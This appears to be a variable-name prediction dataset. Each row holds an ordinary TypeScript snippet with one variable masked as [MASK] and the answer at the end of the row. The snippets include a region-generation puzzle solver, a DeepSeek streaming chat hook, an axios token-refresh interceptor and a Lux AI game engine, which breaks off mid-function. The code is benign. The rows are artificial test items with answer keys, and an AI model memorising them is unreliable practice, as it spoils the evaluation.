        this._board = RegionCreatorUtils.createArray1d(this.cellCount, -1);
        this._hasBoard = false;
        while ( !this._hasBoard) {
            // console.log(""NEW BOARD"");
            this.thenOne = new Date().getTime();
            this.copyBaseValues();
            this.placeNextRegion();
            // this.print();

            let now = new Date().getTime();
            if (((now - this.then) / 1000) >= this.maxTime) {
                break;
            }
            tries += 1;
            if (tries >= this.maxTries) {
                break;
            }
        }
        this._board = RegionCreatorUtils.arrayDeepcopy(this.regionForCell);
        this._regions = this.getRegionsFromBoard();

        if (this.doLog) {
            let now = new Date().getTime();
            console.log(`RegionCreator - ${(now - this.then) / 1000}s, ${tries} tries`);
        }
        return;
    }

    private copyBaseValues(): void {
        this.regionSizes = RegionCreatorUtils.arrayDeepcopy(this.baseRegionSizes);
        this.regionCount = this.baseRegionCount;
        this.freeNeighbors = RegionCreatorUtils.arrayDeepcopy(this.baseNeighbors);
        this.regionForCell = RegionCreatorUtils.createArray1d(this.cellCount, -1);
        this.fieldForCell = RegionCreatorUtils.arrayDeepcopy(this.baseFieldForCell);
        this.cellsForFields = RegionCreatorUtils.arrayDeepcopy(this.baseCellsForFields);
    }

    private getRegionsFromBoard(): number[][] {
        let regions = [];
        for (let i = 0; i < this.regionCount; i++) {
            let region = [];
            for (let j = 0; j < this._board.length; j++) {
                if (this._board[j] === i) {
                    region.push(this.originalCellIds[j]);
                }
            }
            regions.push(region);
        }
        return regions;
    }

    // PLACE NEXT REGION

    private placeNextRegion(): void {

        // console.log(""NEXT region DOWN"");
        // console.log(""region num"", this.regionSizes.length);
        // console.log(this.regionSizes[this.regionSizes.length - 1]);
        // this.print();

        if (this.regionSizes.length === 0) {
            this._hasBoard = true;
            return;
        }

        let currRegionSize = this.regionSizes.pop();
        let currRegionId = this.regionCount - this.regionSizes.length - 1;
        this.neighboringFields = [];
        this.neighboringCells = [];
        this.neighborsToExclude = [];

        // @ts-ignore
        let cellsPlaced = this.tryPlaceNextCell(currRegionSize, currRegionId, currRegionSize);
        // console.log(""VALIDITY"", cellsPlaced);
        if (cellsPlaced) {
            this.placeNextRegion();
        }
        // console.log(""UP UP UP UP"");
        // console.log(""UP UP UP UP"");
        // console.log(""UP UP UP UP"");
        // console.log(""UP UP UP UP"");
        // console.log(""UP UP UP UP"");
        return;
    }

    // PLACE NEXT CELL

    private tryPlaceNextCell(regionSize: number, regionId: number, cellsLeftToPlace: number): boolean {
        // console.log(regionSize - cellsLeftToPlace);

        if (cellsLeftToPlace === 0) {
            return true;
        }

        let now = new Date().getTime();
        if ((now - this.thenOne) / 1000 >= this.maxOneTime || (now - this.then) / 1000 >= this.maxTime) {
            return false;
        }

        let starterCells = this.getStarterCells(regionSize, regionId, cellsLeftToPlace);
        let neighborsExcluded = 0;

        for (let i = 0; i < starterCells.length; i++) {
            let cellId = starterCells[i];
            // console.log(""TRYING"", cellId);

            // place the cell
            let prevFieldId = this.placeCell(regionId, cellId);
            // add appropriate new neighbors
            let addedNeighbors = this.addNewNeighbors(regionSize, cellsLeftToPlace, prevFieldId, cellId);
            // separate fields that got divided
            let addedFields = this.separateFields(prevFieldId, cellId);

            // check packability
            let isPackable = this.checkPackability(regionSize, cellsLeftToPlace);
            // console.log(""isPackable"", isPackable);
            // place next cell
            if (isPackable) {
                cellsLeftToPlace -= 1;
                // console.log(""PLACED"", cellId);
                let isPlaceable = this.tryPlaceNextCell(regionSize, regionId, cellsLeftToPlace);
                // console.log(""previously placed"", cellId);
                // console.log(""isPlaceable"", isPlaceable);
                cellsLeftToPlace += 1;
                if (isPlaceable) {
                    return true;
                }
            }

            this.neighborsToExclude.push(cellId);
            neighborsExcluded += 1;
            // undo fields
            this.undoSeparateFields(addedFields, prevFieldId);
            // undo neighbors
            this.undoAddNewNeighbors(regionSize, cellsLeftToPlace, cellId, addedNeighbors, prevFieldId);
            // undo cell
            this.undoPlaceCell(cellId, prevFieldId);
        }
        this.neighborsToExclude = this.neighborsToExclude.slice(0, neighborsExcluded * -1);

        return false;
    }

    private getStarterCells(regionSize: number, regionId: number, cellsLeftToPlace: number): number[] {
        let starterCells = [];
        if (regionSize === cellsLeftToPlace) { // if this is the first cell, set an array of all possible first placements (from fields that are equal or bigger size)
            for (let i = 0; i < this.cellsForFields.length; i++) {
                let fieldSize = this.cellsForFields[i].length;
                if (fieldSize >= regionSize) {
                    for (let j = 0; j < fieldSize; j++) {
                        starterCells.push(this.cellsForFields[i][j]);
                    }
                }
            }
            if (this.generateFaster) {
                RegionCreatorUtils.arraySortNumbers(starterCells, true);
            } else {
                RegionCreatorUtils.arrayShuffle(starterCells)
            }
        } else {
            starterCells = [];
            for (let i = 0; i < this.neighboringCells.length; i++) {
                if (this.neighborsToExclude.indexOf(this.neighboringCells[i]) === -1) {
                    starterCells.push(this.neighboringCells[i]);
                }
            }
            if (this._mode === RegionCreator.modes.BLOB) {
                if (Math.random() < 0.4) {
                    RegionCreatorUtils.arrayShuffle(starterCells);
                }
            } else {
                RegionCreatorUtils.arrayShuffle(starterCells);
            }
            if (this._mode === RegionCreator.modes.SPAGHETTI) {
                let neighborCountForCell: number[][] = [[], [], [], [], []];  // how many neighbors of a starterCell are in the current field
                for (let i = 0; i < starterCells.length; i++) {
                    let cellId = starterCells[i];
                    let neighborCount = 0;
                    for (let j = 0; j < this.baseNeighbors[cellId].length; j++) {
                        let neighborId = this.baseNeighbors[cellId][j];
                        if (this.regionForCell[neighborId] === regionId) {
                            neighborCount += 1;
                        }
                    }
                    neighborCountForCell[neighborCount].push(cellId);
                }
                starterCells = [];
                for (let i = 0; i < neighborCountForCell.length; i++) {
                    for (let j = 0; j < neighborCountForCell[i].length; j++) {
                        starterCells.push(neighborCountForCell[i][j]);
                    }
                }
            }
        }
        return starterCells;
    }

    private placeCell(regionId: number, cellId: number): number {
        this.regionForCell[cellId] = regionId;
        let prevFieldId = this.fieldForCell[cellId];
        this.fieldForCell[cellId] = -1;
        let cellNeighbors = this.freeNeighbors[cellId];
        for (let i = 0; i < cellNeighbors.length; i++) {
            this.freeNeighbors[cellNeighbors[i]] = RegionCreatorUtils.arrayRemoveOne(this.freeNeighbors[cellNeighbors[i]], cellId);
        }
        this.cellsForFields[prevFieldId] = RegionCreatorUtils.arrayRemoveOne(this.cellsForFields[prevFieldId], cellId);
        return prevFieldId;
    }

    private addNewNeighbors(regionSize: number, cellsLeftToPlace: number, prevFieldId: number, cellId: number): number[] {
        if (regionSize !== cellsLeftToPlace) {
            this.neighboringCells = RegionCreatorUtils.arrayRemoveOne(this.neighboringCells, cellId);
        } else {
            this.neighboringFields.push(prevFieldId)
        }
        let addedNeighbors = [];
        let cellNeighbors = this.freeNeighbors[cellId];
        for (let i = 0; i < cellNeighbors.length; i++) {
            let cellNeighbor = cellNeighbors[i];
            if (this.neighboringCells.indexOf(cellNeighbor) === -1) {
                addedNeighbors.push(cellNeighbor);
                this.neighboringCells.push(cellNeighbor);
            }
        }
        return addedNeighbors;
    }

    private separateFields(prevFieldId: number, cellId: number): number[] {
        let addedFields: number[];
        addedFields = [];
        if (this.freeNeighbors[cellId].length > 1) {
            let neighborsForFields = this.getFieldsForCells(cellId);
            if (neighborsForFields.length > 1) {
                for (let i = 1; i < neighborsForFields.length; i++) {
                    let fieldId = this.cellsForFields.length;
                    addedFields.push(fieldId);
                    this.neighboringFields.push(fieldId);
                    let addedFieldCells: number[];
                    addedFieldCells = [];
                    let neighborsForField = neighborsForFields[i];
                    for (let j = 0; j < neighborsForField.length; j++) {
                        let neighbor = neighborsForField[j];
                        this.fieldForCell[neighbor] = fieldId;
                        this.cellsForFields[prevFieldId] = RegionCreatorUtils.arrayRemoveOne(this.cellsForFields[prevFieldId], neighbor);
                        addedFieldCells.push(neighbor);
                    }
                    this.cellsForFields.push(addedFieldCells);
                }
            }
        }

        return addedFields;
    }

    private getFieldsForCells(cellId: number): number[][] {
        let toCheck = RegionCreatorUtils.arrayDeepcopy(this.freeNeighbors[cellId]);
        let fields: number[][];
        fields = [];
        let currField: number[];
        currField = [];
        let neighborsInCurrentField = [];
        neighborsInCurrentField.push(toCheck[0]);
        let doContinue = true;
        let freeNeighbor: number;
        let  [MASK] : number;
        while (doContinue) {
            if (neighborsInCurrentField.length === 0) {
                fields.push(currField);
                if (toCheck.length === 0) {
                    doContinue = false;
                    continue;
                }
                currField = [];
                neighborsInCurrentField.push(toCheck[0]);
            }
             [MASK]  = neighborsInCurrentField[0];
            for (let i = 0; i < this.freeNeighbors[ [MASK] ].length; i++) {
                freeNeighbor = this.freeNeighbors[ [MASK] ][i];
                if (neighborsInCurrentField.indexOf(freeNeighbor) === -1 && currField.indexOf(freeNeighbor) === -1) {
                    neighborsInCurrentField.push(freeNeighbor);
                }
            }
            if (toCheck.indexOf( [MASK] ) >= 0) {
                toCheck = RegionCreatorUtils.arrayRemoveOne(toCheck,  [MASK] );
            }
            currField.push( [MASK] );
            neighborsInCurrentField.shift();
        }
        return fields;
    }

    private undoSeparateFields(addedFields: number[], prevFieldId: number): void {
        for (let i = 0; i < addedFields.length; i++) {
            let fieldId = addedFields[i];
            this.neighboringFields = RegionCreatorUtils.arrayRemoveOne(this.neighboringFields, fieldId);
            for (let j = 0; j < this.cellsForFields[fieldId].length; j++) {
                let cellId = this.cellsForFields[fieldId][j];
                this.fieldForCell[cellId] = prevFieldId;
                this.cellsForFields[prevFieldId].push(cellId);
            }
        }
        for (let i = 0; i < addedFields.length; i++) {
            this.cellsForFields.pop();
        }
        return;
    }

    private undoAddNewNeighbors(regionSize: number, cellsLeftToPlace: number, cellId: number, addedNeighbors: number[], prevFieldId: number): void {
        if (regionSize !== cellsLeftToPlace) {
            this.neighboringCells.push(cellId);
        }
        for (let i = 0; i < addedNeighbors.length; i++) {
            this.neighboringCells = RegionCreatorUtils.arrayRemoveOne(this.neighboringCells, addedNeighbors[i]);
        }
        if (regionSize === cellsLeftToPlace) {
            this.neighboringFields = RegionCreatorUtils.arrayRemoveOne(this.neighboringFields, prevFieldId);
        }
        return;
    }

    private undoPlaceCell(cellId: number, prevFieldId: number): void {
        this.regionForCell[cellId] = -1;
        this.fieldForCell[cellId] = prevFieldId;
        for (let i = 0; i < this.freeNeighbors[cellId].length; i++) {
            this.freeNeighbors[this.freeNeighbors[cellId][i]].push(cellId);
        }
        this.cellsForFields[prevFieldId].push(cellId);
        return;
    }

    // PACKABILITY

    private checkPackability(regionSize: number, cellsLeftToPlace: number): boolean {
        let isPackable = true;
        if (this.neighboringFields.length > 1 || regionSize === cellsLeftToPlace) {
            let fieldSizes = [];
            for (let i = 0; i < this.cellsForFields.length; i++) {
                fieldSizes.push(this.cellsForFields[i].length);
            }
            let sizesToPack = [];
            for (let i = 0; i < this.regionSizes.length; i++) {
                sizesToPack.push(this.regionSizes[i]);
            }
            let optionalFields = RegionCreatorUtils.arrayDeepcopy(this.neighboringFields);
            isPackable = RegionCreator.getIsPackable(fieldSizes, sizesToPack, optionalFields);
        }
        return isPackable;
    }

    private static getIsPackable(fieldSizes: number[], sizesToPack: number[], optionalFields: number[]): boolean {
        let necessaryFields = [];
        for (let i = 0; i < fieldSizes.length; i++) {
            if (optionalFields.indexOf(i) === -1) {
                necessaryFields.push(i);
            }
        }
        return RegionCreator.packNext(fieldSizes, sizesToPack, necessaryFields, optionalFields);
    }

    // PACK NECESSARY

    private static packNext(fieldSizes: number[], sizesToPack: number[], necessaryFields: number[], optionalFields: number[]): boolean {
        if (sizesToPack.length === 0) {
            if (necessaryFields.length === 0) {
                return true;
            } else if (RegionCreatorUtils.arrayGetSumOnElements(fieldSizes, necessaryFields) === 0) {
                return true;
            } else {
                return false;
            }
        }
        let size = sizesToPack[sizesToPack.length - 1];
        let count = 0;
        while (sizesToPack[sizesToPack.length - 1] === size) {
            count += 1;
            sizesToPack.pop();
            if (sizesToPack.length === 0) {
                break;
            }
        }

        let values = this.getFittableFields(fieldSizes, necessaryFields, size);
        let necFitSizes = values[0];  // necessary fittable sizes
        let necFitFields = values[1];  // necessary fittable fields
        let necFieldSpace = values[2];
        values = this.getFittableFields(fieldSizes, optionalFields, size);
        let optFieldSpace = values[2];

        if (count > necFieldSpace + optFieldSpace) {
            for (let i = 0; i < count; i++) {
                sizesToPack.push(size);
            }
            return false;
        }
        let necessaryMin = Math.max(0, count - Math.min(count, optFieldSpace));
        let necessaryMax = Math.min(count, necFieldSpace);

        for (let i = necessaryMin; i < necessaryMax + 1; i++) {
            let depth = 0;
            let optCount = count - i;
            let isPackable = RegionCreator.nextFieldSize(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optCount, necFitSizes, depth, necFitFields, necFieldSpace, i);
            if (isPackable) {
                return true;
            }
        }

        for (let i = 0; i < count; i++) {
            sizesToPack.push(size);
        }

        return false;
    }

    private static nextFieldSize(
        fieldSizes: number[], sizesToPack: number[], necessaryFields: number[],
        optionalFields: number[], size: number, optToFit: number, necFitSizes: number[],
        necDepth: number, necFitFields: number[][], necLeftTotal: number, necLeftToUse: number
    ): boolean {
        if (necDepth === necFitSizes.length) {
            return this.optPackNext(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optToFit);
        }

        let fieldCount = necFitFields[necDepth].length;
        let fitsInField = Math.floor(necFitSizes[necDepth] / size);
        let fittableCount = fieldCount * fitsInField;
        let maxUsable = Math.min(fittableCount, necLeftToUse);
        let minUsable = Math.max(0, necLeftToUse + fittableCount - necLeftTotal);
        for (let i = minUsable; i < maxUsable + 1; i++) {
            necLeftTotal -= fittableCount;
            necLeftToUse -= i;
            let prevUse = i + 1;
            let useLeft = i;
            let depthTwo = 0;

            let isPackable = RegionCreator.nextFieldSizePossibility(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optToFit, necFitSizes, necDepth, necFitFields, necLeftTotal, necLeftToUse, i, prevUse, useLeft, depthTwo);
            if (isPackable) {
                return true;
            }
            necLeftTotal += fittableCount;
            necLeftToUse += i;
        }

        return false;
    }

    private static nextFieldSizePossibility(
        fieldSizes: number[], sizesToPack: number[], necessaryFields: number[],
        optionalFields: number[], size: number, optToFit: number, necFitSizes: number[],
        necDepth: number, necFitFields: number[][], necLeftTotal: number, necLeftToUse: number,
        useInField: number, prevUse: number, useLeft: number, depthTwo: number
    ): boolean {
        if (useLeft === 0) {
            return RegionCreator.nextFieldSize(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optToFit, necFitSizes, necDepth + 1, necFitFields, necLeftTotal, necLeftToUse);
        }

        for (let i = 1; i < Math.min(useLeft, prevUse) + 1; i++) {
            let maxUsableSize = necFitFields[necDepth].length - depthTwo;
            if (i * maxUsableSize < useLeft) {
                continue
            }
            useLeft -= i;
            let fieldId = necFitFields[necDepth][depthTwo];
            fieldSizes[fieldId] -= size * i;
            depthTwo += 1;
            let isPackable = RegionCreator.nextFieldSizePossibility(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optToFit, necFitSizes, necDepth, necFitFields, necLeftTotal, necLeftToUse, useInField, i, useLeft, depthTwo);
            depthTwo -= 1;
            if (isPackable) {
                return true;
            }
            useLeft += i;
            fieldSizes[fieldId] += size * i
        }

        return false;
    }

    // PACK OPTIONAL

    private static optPackNext(
        fieldSizes: number[], sizesToPack: number[], necessaryFields: number[],
        optionalFields: number[], size: number, optToFit: number
    ): boolean {
        let values = this.getFittableFields(fieldSizes, optionalFields, size);
        let optFitSizes = values[0];  // optional fittable sizes
        let optFitFields = values[1];  // optional fittable fields
        let optFieldSpace = values[2];

        let depth = 0;
        return RegionCreator.optNextFieldSize(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optFitSizes, depth, optFitFields, optFieldSpace, optToFit);
    }

    private static optNextFieldSize(
        fieldSizes: number[], sizesToPack: number[], necessaryFields: number[],
        optionalFields: number[], size: number, optFitSizes: number[], optDepth: number,
        optFitFields: number[][], optLeftTotal: number, optLeftToUse: number
    ): boolean {
        if (optDepth === optFitSizes.length) {
            return this.packNext(fieldSizes, sizesToPack, necessaryFields, optionalFields);
        }

        let fieldCount = optFitFields[optDepth].length;
        let fitsInField = Math.floor(optFitSizes[optDepth] / size);
        let fittableCount = fieldCount * fitsInField;
        let maxUsable = Math.min(fittableCount, optLeftToUse);
        let minUsable = Math.max(0, optLeftToUse + fittableCount - optLeftTotal);
        for (let i = minUsable; i < maxUsable + 1; i++) {
            optLeftTotal -= fittableCount;
            optLeftToUse -= i;
            let prevUse = i + 1;
            let useLeft = i;
            let depthTwo = 0;

            let isPackable = RegionCreator.optNextFieldSizePossibility(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optFitSizes, optDepth, optFitFields, optLeftTotal, optLeftToUse, i, prevUse, useLeft, depthTwo);
            if (isPackable) {
                return true;
            }
            optLeftTotal += fittableCount;
            optLeftToUse += i;
        }

        return false;
    }

    private static optNextFieldSizePossibility(
        fieldSizes: number[], sizesToPack: number[], necessaryFields: number[],
        optionalFields: number[], size: number, optFitSizes: number[],
        optDepth: number, optFitFields: number[][], optLeftTotal: number, optLeftToUse: number,
        useInField: number, prevUse: number, useLeft: number, depthTwo: number
    ): boolean {
        if (useLeft === 0) {
            return RegionCreator.optNextFieldSize(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optFitSizes, optDepth + 1, optFitFields, optLeftTotal, optLeftToUse);
        }

        for (let i = 1; i < Math.min(useLeft, prevUse) + 1; i++) {
            let maxUsableSize = optFitFields[optDepth].length - depthTwo;
            if (i * maxUsableSize < useLeft) {
                continue
            }
            useLeft -= i;
            let fieldId = optFitFields[optDepth][depthTwo];
            fieldSizes[fieldId] -= size * i;
            depthTwo += 1;
            let isPackable = RegionCreator.optNextFieldSizePossibility(fieldSizes, sizesToPack, necessaryFields, optionalFields, size, optFitSizes, optDepth, optFitFields, optLeftTotal, optLeftToUse, useInField, i, useLeft, depthTwo);
            depthTwo -= 1;
            if (isPackable) {
                return true;
            }
            useLeft += i;
            fieldSizes[fieldId] += size * i
        }

        return false;
    }

    private static getFittableFields(fieldSizes: number[], fromFields: number[], size:number): any[] {
        let fittableSizes: number[];
        fittableSizes = [];
        let fittableFields: number[][];
        fittableFields = [];
        let fieldSpace = 0;
        for (let i = 0; i < fromFields.length; i++) {
            let field = fromFields[i];
            let fieldSize = fieldSizes[field];
            if (fieldSize >= size) {
                if (fittableSizes.indexOf(fieldSize) === -1) {
                    fittableSizes.push(fieldSize);
                }
                if (fittableFields.length < fittableSizes.length) {
                    fittableFields.push([]);
                }
                fittableFields[fittableFields.length - 1].push(field);
                fieldSpace += Math.floor(fieldSize / size);
            }
        }

        return [fittableSizes, fittableFields, fieldSpace]
    }

    // private print(): void {
    //     for (let y = 0; y < this.height; y++) {
    //         let h = [];
    //         for (let x = 0; x < this.width; x++) {
    //             h.push(this.regionForCell[y * this.width + x]);
    //         }
    //         console.log(h);
    //     }
    // }
}",neighborToCheck
904,"import { useState } from ""react""

interface Message {
  role: ""user"" | ""assistant""
  content: string
  reasoning_content?: string // 推理链输出
}


const API_KEY = import.meta.env.VITE_DEEPSEEK_API_KEY
const BASE_URL = ""https://api.deepseek.com/v1""

export function useChatStream() {
  const [streaming, setStreaming] = useState(false)

  const sendMessage = async (
    messages: Message[],
    onChunk: (text: string, reasoning: string) => void,
    onComplete: (final: Message) => void,
    model: ""deepseek-chat"" | ""deepseek-reasoner"" = ""deepseek-chat""
  ) => {
    setStreaming(true)
  
    const cleanedMessages = messages.map(({ role, content }) => ({ role, content }))
    
    if (model === ""deepseek-reasoner"") {
      while (cleanedMessages.length > 0 && cleanedMessages[0].role !== ""user"") {
        cleanedMessages.shift()
      }
    }
  
    const res = await fetch(`${BASE_URL}/chat/completions`, {
      method: ""POST"",
      headers: {
        Authorization: `Bearer ${API_KEY}`,
        ""Content-Type"": ""application/json"",
      },
      body: JSON.stringify({
        model,
        messages: cleanedMessages,
        stream: true,
      }),
    })
  
    const reader = res.body?.getReader()
    const  [MASK]  = new TextDecoder(""utf-8"")
    let fullText = """"
    let reasoning = """"
  
    while (true) {
      const { done, value } = await reader!.read()
      if (done) break
      const chunk =  [MASK] .decode(value)
      const lines = chunk.split(""\n"").filter((line) => line.startsWith(""data:""))
  
      for (const line of lines) {
        const json = line.replace(/^data: /, """")
        if (json === ""[DONE]"") {
          // 推理链和完整内容返回
          onComplete({ role: ""assistant"", content: fullText, reasoning_content: reasoning })
          setStreaming(false)
          return
        }
  
        const parsed = JSON.parse(json)
        const delta = parsed.choices?.[0]?.delta || {}
        const deltaContent = delta.content || """"
        const deltaReasoning = delta.reasoning_content || """"
  
        fullText += deltaContent
        reasoning += deltaReasoning
        // console.log(""fullText"", fullText)
        // console.log(""reasoning"", reasoning)
        // 实时更新流式内容，包括推理链
        // onComplete({ role: ""assistant"", content: fullText, reasoning_content: reasoning })
        onChunk(fullText, reasoning)  // 更新：传递 reasoning 到 onChunk
      }
    }
  
    setStreaming(false)
  }

  return { sendMessage, streaming }
}


",decoder
905,"import { Component } from '@angular/core';
import { RootFacadeService } from './root-facade.service';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.scss']
})
export class AppComponent {

  isTodayStatusReady: boolean = false;
  isTodayMoreInfoReady: boolean = false;
  isNext5daysReady: boolean = false;
  isNext24hoursReady: boolean = false;
  isQualityIndexReady: boolean = false;

  constructor(private  [MASK] : RootFacadeService) {
     [MASK] .getCurrentStatus()
    .subscribe(result => {
      if (Object.keys(result).length > 0) {
        this.isTodayStatusReady = true;
        this.isTodayMoreInfoReady = true;
      }
    });

     [MASK] .getNext5DaysStatusList().subscribe(result => this.isNext5daysReady = result.length > 0);
     [MASK] .getNext24HoursStatusList().subscribe(result => this.isNext24hoursReady = result.length > 0);
     [MASK] .getAirQualityIndex().subscribe(result => this.isQualityIndexReady = Object.keys(result).length > 0);
  }
}
",facadeService
906,"// eslint-disable-next-line import/no-unresolved
import { SERVER } from '@env';
import axios, { AxiosError, isAxiosError } from 'axios';

import { ErrorJSON, Sig } from '@/@types/server';
import { refreshTokens } from '@/redux/auth/auth.slice';
import { store } from '@/redux/store';

// console.log('SERVER', SERVER);

export const serverApi = axios.create({
  baseURL: SERVER,
});

serverApi.interceptors.response.use(
  (response) => {
    return response;
  },
  async (error: AxiosError) => {
    const  [MASK]  = error?.config!;
    if (error?.response?.status! === 403 && !( [MASK]  as any)._retry) {
      // console.log('interceptors - renew tokens');
      ( [MASK]  as any)._retry = true;

      await store.dispatch(refreshTokens());
      const sig = store?.getState()?.auth?.signature;

      serverApi.defaults.headers.common.authorization = `${sig.tokenType} ${sig.accessToken}`;
      return serverApi( [MASK] );
    }

    return Promise.reject(error);
  },
);

export const catchServerApiErr: (err: any) => ErrorJSON = (err) => {
  // cnsole.log(SERVER);
  if (isAxiosError<ErrorJSON>(err)) {
    // console.error(jsonStringify(err));
    return err.response?.data;
  }
  return err;
};

export const createAuthorization = ({ tokenType, accessToken }: Sig) => {
  return { Authorization: `${tokenType} ${accessToken}` };
};
",originalRequest
907,"/**
 * (C) Symbol Contributors 2022
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *    http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
import {
    NetworkType,
} from 'symbol-sdk';

// internal dependencies
import {
    ContactQR,
    QRCodeType,
} from '../index';
import {Example} from './Example';
import { QRCodeSettings } from '../src/QRCodeSettings';

class ExampleAddContactQR extends Example {

    /**
     * The `execute()` method should run the underlying
     * example business flow.
     *
     * @return {number}
     */
    public async execute(): Promise<number> {

        // Arrange
        const  [MASK]  = {
            v: 3,
            type: QRCodeType.AddContact,
            network_id: NetworkType.TEST_NET,
            chain_id: 'no-chain-id',
            data: {
                name: 'nemtech',
                publicKey: '<KEY>'
            }
        };

        // create QR Code with JSON content
        const contactQR = ContactQR.fromJSON(JSON.stringify( [MASK] ));
        console.log(""ContactQR JSON: "", contactQR.toJSON());
        console.log(""ContactQR BASE64: "", await contactQR.toBase64().toPromise());
        console.log(""ContactQR OBJECT: "", await contactQR.toString(new QRCodeSettings('M', 100)).toPromise());
        console.log("""");
        return this.resolve(0);
    }
}

export {ExampleAddContactQR};
",contactInfo
908,"import 'colors';
import { Resource } from '../Resource';
import { Unit } from '../Unit';
import { City, CityTile } from './city';
import { GameMap } from '../GameMap';
import { Cart, Worker } from '../Unit';
import { LuxMatchConfigs, SerializedState } from '../types';
import { DEFAULT_CONFIGS } from '../defaults';
import { MatchWarn } from 'dimensions-ai/lib/main/DimensionError';
import { MatchEngine, Match } from 'dimensions-ai';
import {
  Action,
  SpawnCartAction,
  SpawnWorkerAction,
  MoveAction,
  ResearchAction,
  TransferAction,
  SpawnCityAction,
  PillageAction,
} from '../Actions';
import { Cell } from '../GameMap/cell';
import { Replay } from '../Replay';
import { deepCopy } from '../utils';
import { Position } from '../GameMap/position';

/**
 * Holds basically all game data, including the map.
 *
 * Has the main functions for manipulating game state e.g. moving units, spawning units
 *
 * All entities that require light are any Units or Cities
 */
export class Game {
  /**
   * The actual map
   */
  public map: GameMap;

  public replay: Replay;

  public globalCityIDCount = 0;
  public globalUnitIDCount = 0;

  /**
   * Map a internal city id to the array of cells that are city tiles part of the same city
   */
  public cities: Map<string, City> = new Map();

  // TODO: remove in future. this is not really used anywhere
  public stats: Game.Stats = {
    teamStats: {
      [Unit.TEAM.A]: {
        fuelGenerated: 0,
        resourcesCollected: {
          wood: 0,
          coal: 0,
          uranium: 0,
        },
        cityTilesBuilt: 0,
        workersBuilt: 0,
        cartsBuilt: 0,
        roadsBuilt: 0,
        roadsPillaged: 0,
      },
      [Unit.TEAM.B]: {
        fuelGenerated: 0,
        resourcesCollected: {
          wood: 0,
          coal: 0,
          uranium: 0,
        },
        cityTilesBuilt: 0,
        workersBuilt: 0,
        cartsBuilt: 0,
        roadsBuilt: 0,
        roadsPillaged: 0,
      },
    },
  };

  public state: Game.State = {
    turn: 0,
    teamStates: {
      [Unit.TEAM.A]: {
        researchPoints: 0,
        units: new Map(),
        researched: {
          wood: true,
          coal: false,
          uranium: false,
        },
      },
      [Unit.TEAM.B]: {
        researchPoints: 0,
        units: new Map(),
        researched: {
          wood: true,
          coal: false,
          uranium: false,
        },
      },
    },
  };

  public configs: Readonly<LuxMatchConfigs> = { ...DEFAULT_CONFIGS };
  /**
   * Initialize a game, with all its state and stats
   * @param configs
   */
  constructor(configs: Readonly<Partial<LuxMatchConfigs>> = {}) {
    this.configs = {
      ...this.configs,
      ...configs,
    };
    this.map = new GameMap(this.configs);
  }

  _genInitialAccumulatedActionStats(): _AccumulatedActionStats {
    return {
      [Unit.TEAM.A]: {
        workersBuilt: 0,
        cartsBuilt: 0,
        actionsPlaced: new Set(),
      },
      [Unit.TEAM.B]: {
        workersBuilt: 0,
        cartsBuilt: 0,
        actionsPlaced: new Set(),
      },
    };
  }

  /**
   * Returns an Action object if validated. If invalid, throws MatchWarn
   */
  validateCommand(
    cmd: MatchEngine.Command,
    accumulatedActionStats: _AccumulatedActionStats = this._genInitialAccumulatedActionStats()
  ): Action {
    // checks for an error condition, and throws a warning if true
    const check = (
      condition: boolean,
      errormsg: string,
      trace = true
    ): void => {
      if (condition) {
        throw new MatchWarn(
          errormsg +
            (trace ? `; turn ${this.state.turn}; cmd: ${cmd.command}` : '')
        );
      }
    };
    const invalidMsg = `Agent ${cmd.agentID} sent invalid command`;
    const malformedMsg = `Agent ${cmd.agentID} sent malformed command: ${cmd.command}`;

    const [action, ...args] = cmd.command.split(' ');
    check(action === undefined, invalidMsg, false);

    const team: Unit.TEAM = cmd.agentID;
    const teamState = this.state.teamStates[team];
    const acc = accumulatedActionStats[team];
    switch (action) {
      case Game.ACTIONS.DEBUG_ANNOTATE_CIRCLE:
      case Game.ACTIONS.DEBUG_ANNOTATE_LINE:
      case Game.ACTIONS.DEBUG_ANNOTATE_X:
      case Game.ACTIONS.DEBUG_ANNOTATE_TEXT:
      case Game.ACTIONS.DEBUG_ANNOTATE_SIDETEXT:
        // these actions go directly into the replay file if debugAnnotations is on
        return null;
      case Game.ACTIONS.PILLAGE: {
        check(args.length !== 1, malformedMsg, false);
        const uid = args[0];

        const unit = this.getUnit(team, uid);
        check(
          !unit,
          `Agent ${cmd.agentID} tried to pillage tile with invalid/unowned unit id: ${uid}`
        );

        check(
          !unit.canAct(),
          `Agent ${cmd.agentID} tried to pillage tile with cooldown: ${unit.cooldown}`
        );

        check(
          acc.actionsPlaced.has(uid),
          `Agent ${cmd.agentID} sent an extra command. Unit can perform only one action at a time`
        );

        acc.actionsPlaced.add(uid);
        return new PillageAction(action, team, uid);
      }

      case Game.ACTIONS.BUILD_CITY: {
        check(args.length !== 1, malformedMsg, false);
        const uid = args[0];

        const unit = this.getUnit(team, uid);
        check(
          !unit,
          `Agent ${cmd.agentID} tried to build CityTile with invalid/unowned unit id: ${uid}`
        );

        const cell = this.map.getCellByPos(unit.pos);
        check(
          cell.isCityTile(),
          `Agent ${cmd.agentID} tried to build CityTile on existing CityTile`
        );

        check(
          cell.hasResource(),
          `Agent ${cmd.agentID} tried to build CityTile on non-empty resource tile`
        );

        check(
          !unit.canAct(),
          `Agent ${cmd.agentID} tried to build CityTile with cooldown: ${unit.cooldown}`
        );

        const cargoTotal = unit.cargo.wood + unit.cargo.coal + unit.cargo.uranium;
        check(
          cargoTotal < this.configs.parameters.CITY_BUILD_COST,
          `Agent ${cmd.agentID} tried to build CityTile with insufficient materials wood + coal + uranium: ${cargoTotal}`
        );

        check(
          acc.actionsPlaced.has(uid),
